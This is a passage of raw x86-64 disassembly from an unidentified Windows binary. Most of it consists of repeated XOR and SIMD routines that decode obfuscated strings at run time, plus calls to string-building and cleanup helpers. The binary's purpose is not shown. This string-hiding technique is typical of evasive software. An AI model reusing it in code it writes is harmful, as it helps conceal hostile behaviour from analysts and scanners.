pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.rX__]
xorps xmm2, xmm0
movd dword [rbp + 0x30], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1402d7650
lea rax, [rbp + 0x30]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x388]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x370]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x2e0]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x70], 0x76
xor byte [rsp + 0x71], 0x31
xor byte [rsp + 0x72], 0x32
xor byte [rsp + 0x73], 0x33
xor al, 0x34
mov byte [rsp + 0x74], al
xor byte [rsp + 0x75], 0x35
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x310]
call fcn.1402e50c0
nop
lea rdx, [rbp + 0x898]
lea rcx, [rbp + 0x328]
call fcn.1402e5180
nop
lea rax, [rbp + 0x310]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x2f8]
call fcn.1402e2230
nop
lea rax, [rbp + 0x2e0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x310]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x7a8]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x50], WSAGetLastError
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x2b0]
call fcn.1402e50c0
nop
movsd xmm0, qword [str.PFRTUCMK_I_]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1403f3118]
mov dword [rbp + 0x18], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1c], al
mov r8d, edi
cmp esi, 2
jl 0x1402d7906
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.PFRTUCMK_I_]
xorps xmm2, xmm0
movd dword [rbp + 0x10], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14]
xorps xmm2, xmm1
movd dword [rbp + 0x14], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1402d7910
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x2c8]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x2e0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x250]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x78], 0x76
xor byte [rsp + 0x79], 0x31
xor byte [rsp + 0x7a], 0x32
xor byte [rsp + 0x7b], 0x33
xor al, 0x34
mov byte [rsp + 0x7c], al
xor byte [rsp + 0x7d], 0x35
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x280]
call fcn.1402e50c0
nop
lea rdx, [rbp + 0x958]
lea rcx, [rbp + 0x298]
call fcn.1402e5180
nop
lea rax, [rbp + 0x280]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x268]
call fcn.1402e2230
nop
lea rax, [rbp + 0x250]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x280]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x7c0]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x48], WSAGetLastError
xor byte [rbp - 0x47], 0x31
xor byte [rbp - 0x46], 0x32
xor byte [rbp - 0x45], 0x33
xor al, 0x34
mov byte [rbp - 0x44], al
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x730]
call fcn.1402e50c0
nop
movsd xmm0, qword [0x1403f3fe8]
movsd qword [rbp - 8], xmm0
movzx ecx, word [0x1403f3ff0]
mov word [rbp], cx
movzx eax, byte [0x1403f3ff2]
mov byte [rbp - 8], 0x43
xor byte [rbp - 7], 0x31
xor byte [rbp - 6], 0x32
xor byte [rbp - 5], 0x33
xor byte [rbp - 4], 0x34
xor byte [rbp - 3], 0x35
xor byte [rbp - 2], 0x36
xor byte [rbp - 1], 0x37
xor cl, 0x38
mov byte [rbp], cl
xor byte [rbp + 1], 0x39
xor al, 0x3a
mov byte [rbp + 2], al
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x748]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x730]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x760]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x6d0]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1403f2e68]
mov word [rbp - 0x7c], ax
mov byte [rbp - 0x80], 0x76
xor byte [rbp - 0x7f], 0x31
xor byte [rbp - 0x7e], 0x32
xor byte [rbp - 0x7d], 0x33
xor al, 0x34
mov byte [rbp - 0x7c], al
xor byte [rbp - 0x7b], 0x35
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x700]
call fcn.1402e50c0
nop
lea rdx, [rbp + 0x8d8]
lea rcx, [rbp + 0x718]
call fcn.1402e5180
nop
lea rax, [rbp + 0x700]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x730]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x6e8]
call fcn.1402e2230
nop
lea rax, [rbp + 0x6d0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x700]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x7d8]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x40], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x40], WSAGetLastError
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor al, 0x34
mov byte [rbp - 0x3c], al
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x6a0]
call fcn.1402e50c0
nop
movsd xmm0, qword [str.fFYP]
movsd qword [rbp + 0x40], xmm0
mov eax, dword [0x1403f3fa0]
mov dword [rbp + 0x48], eax
cmp byte [0x1403f3fa3], 0
je 0x1402d7da3
mov r8d, edi
cmp esi, 2
jl 0x1402d7d5e
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fFYP]
xorps xmm2, xmm0
movd dword [rbp + 0x40], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x44]
xorps xmm2, xmm1
movd dword [rbp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1402d7d70
lea rax, [rbp + 0x40]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x6b8]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x6a0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x6d0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x640]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rbp - 0x78], eax
movzx eax, word [0x1403f2e68]
mov word [rbp - 0x74], ax
mov byte [rbp - 0x78], 0x76
xor byte [rbp - 0x77], 0x31
xor byte [rbp - 0x76], 0x32
xor byte [rbp - 0x75], 0x33
xor al, 0x34
mov byte [rbp - 0x74], al
xor byte [rbp - 0x73], 0x35
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x670]
call fcn.1402e50c0
nop
lea rdx, [rbp + 0x978]
lea rcx, [rbp + 0x688]
call fcn.1402e5180
nop
lea rax, [rbp + 0x670]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x6a0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x658]
call fcn.1402e2230
nop
lea rax, [rbp + 0x640]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x670]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x7f0]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x38], WSAGetLastError
xor byte [rbp - 0x37], 0x31
xor byte [rbp - 0x36], 0x32
xor byte [rbp - 0x35], 0x33
xor al, 0x34
mov byte [rbp - 0x34], al
lea rax, [rbp - 0x38]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x610]
call fcn.1402e50c0
nop
movsd xmm0, qword [0x1403f3ec0]
movsd qword [rbp + 0x50], xmm0
mov eax, dword [0x1403f3ec8]
mov dword [rbp + 0x58], eax
cmp byte [0x1403f3ecb], 0
je 0x1402d8063
mov r8d, edi
cmp esi, 2
jl 0x1402d8020
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1403f3ec0]
xorps xmm2, xmm0
movd dword [rbp + 0x50], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1402d8030
lea rax, [rbp + 0x50]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x628]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x610]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x640]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x5b0]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x76
xor byte [rsp + 0x51], 0x31
xor byte [rsp + 0x52], 0x32
xor byte [rsp + 0x53], 0x33
xor al, 0x34
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x35
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.1402e50c0
nop
lea rdx, [rbp + 0x918]
lea rcx, [rbp + 0x358]
call fcn.1402e5180
nop
lea rax, [rbp + 0x340]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x370]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x5c8]
call fcn.1402e2230
nop
lea rax, [rbp + 0x5b0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x808]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x30], WSAGetLastError
xor byte [rbp - 0x2f], 0x31
xor byte [rbp - 0x2e], 0x32
xor byte [rbp - 0x2d], 0x33
xor al, 0x34
mov byte [rbp - 0x2c], al
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x580]
call fcn.1402e50c0
nop
mov eax, dword [str.bTS___6]
mov dword [rbp - 0x28], eax
movzx ecx, word [0x1403f3300]
mov word [rbp - 0x24], cx
movzx eax, byte [0x1403f3302]
mov byte [rbp - 0x28], 0x52
xor byte [rbp - 0x27], 0x31
xor byte [rbp - 0x26], 0x32
xor byte [rbp - 0x25], 0x33
xor cl, 0x34
mov byte [rbp - 0x24], cl
xor byte [rbp - 0x23], 0x35
xor al, 0x36
mov byte [rbp - 0x22], al
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x598]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x580]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x5b0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x520]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1403f2e68]
mov word [rbp - 0x6c], ax
mov byte [rbp - 0x70], 0x76
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor al, 0x34
mov byte [rbp - 0x6c], al
xor byte [rbp - 0x6b], 0x35
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x550]
call fcn.1402e50c0
nop
mov rdx, r15
lea rcx, [rbp + 0x568]
call fcn.1402e5180
nop
lea rax, [rbp + 0x550]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x580]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x538]
call fcn.1402e2230
nop
lea rax, [rbp + 0x520]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x550]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x820]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x20], WSAGetLastError
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor al, 0x34
mov byte [rbp - 0x1c], al
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x4f0]
call fcn.1402e50c0
nop
mov rax, qword [0x1403f3890]
mov qword [rbp + 8], rax
cmp byte [0x1403f3897], 0
je 0x1402d8493
cmp esi, 2
jl 0x1402d8451
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 8]
xorps xmm2, xmm1
movd dword [rbp + 8], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
xorps xmm2, xmm1
movd dword [rbp + 0xc], xmm2
jmp 0x1402d8493
lea r9, [rbp + 8]
mov r8d, edi
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1402d8460
lea rax, [rbp + 8]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x508]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x4f0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x490]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x5c], ax
mov byte [rsp + 0x58], 0x76
xor byte [rsp + 0x59], 0x31
xor byte [rsp + 0x5a], 0x32
xor byte [rsp + 0x5b], 0x33
xor al, 0x34
mov byte [rsp + 0x5c], al
xor byte [rsp + 0x5d], 0x35
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x4c0]
call fcn.1402e50c0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4d8]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x4f0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x4a8]
call fcn.1402e2230
nop
lea rax, [rbp + 0x490]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x838]
call fcn.1402e2230
nop
lea rax, [rbp + 0x760]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x850]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x190]
call fcn.1402e2230
nop
lea rax, [rbp + 0x178]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x1f8]
call fcn.1402e2230
nop
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x210]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
mov rcx, r12
call fcn.1402e2260
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x14]
lea rcx, [rbp + 0x1b0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x178]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0xe]
lea rcx, [rbp + 0x760]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x490]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x4c0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x4f0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x520]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x550]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x580]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x5b0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x340]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x610]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x640]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x670]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x6a0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x6d0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x700]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x730]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x250]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x280]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x2b0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x2e0]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x310]
call fcn.1403b4d7c
nop
lea r9, [0x1402d9460]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
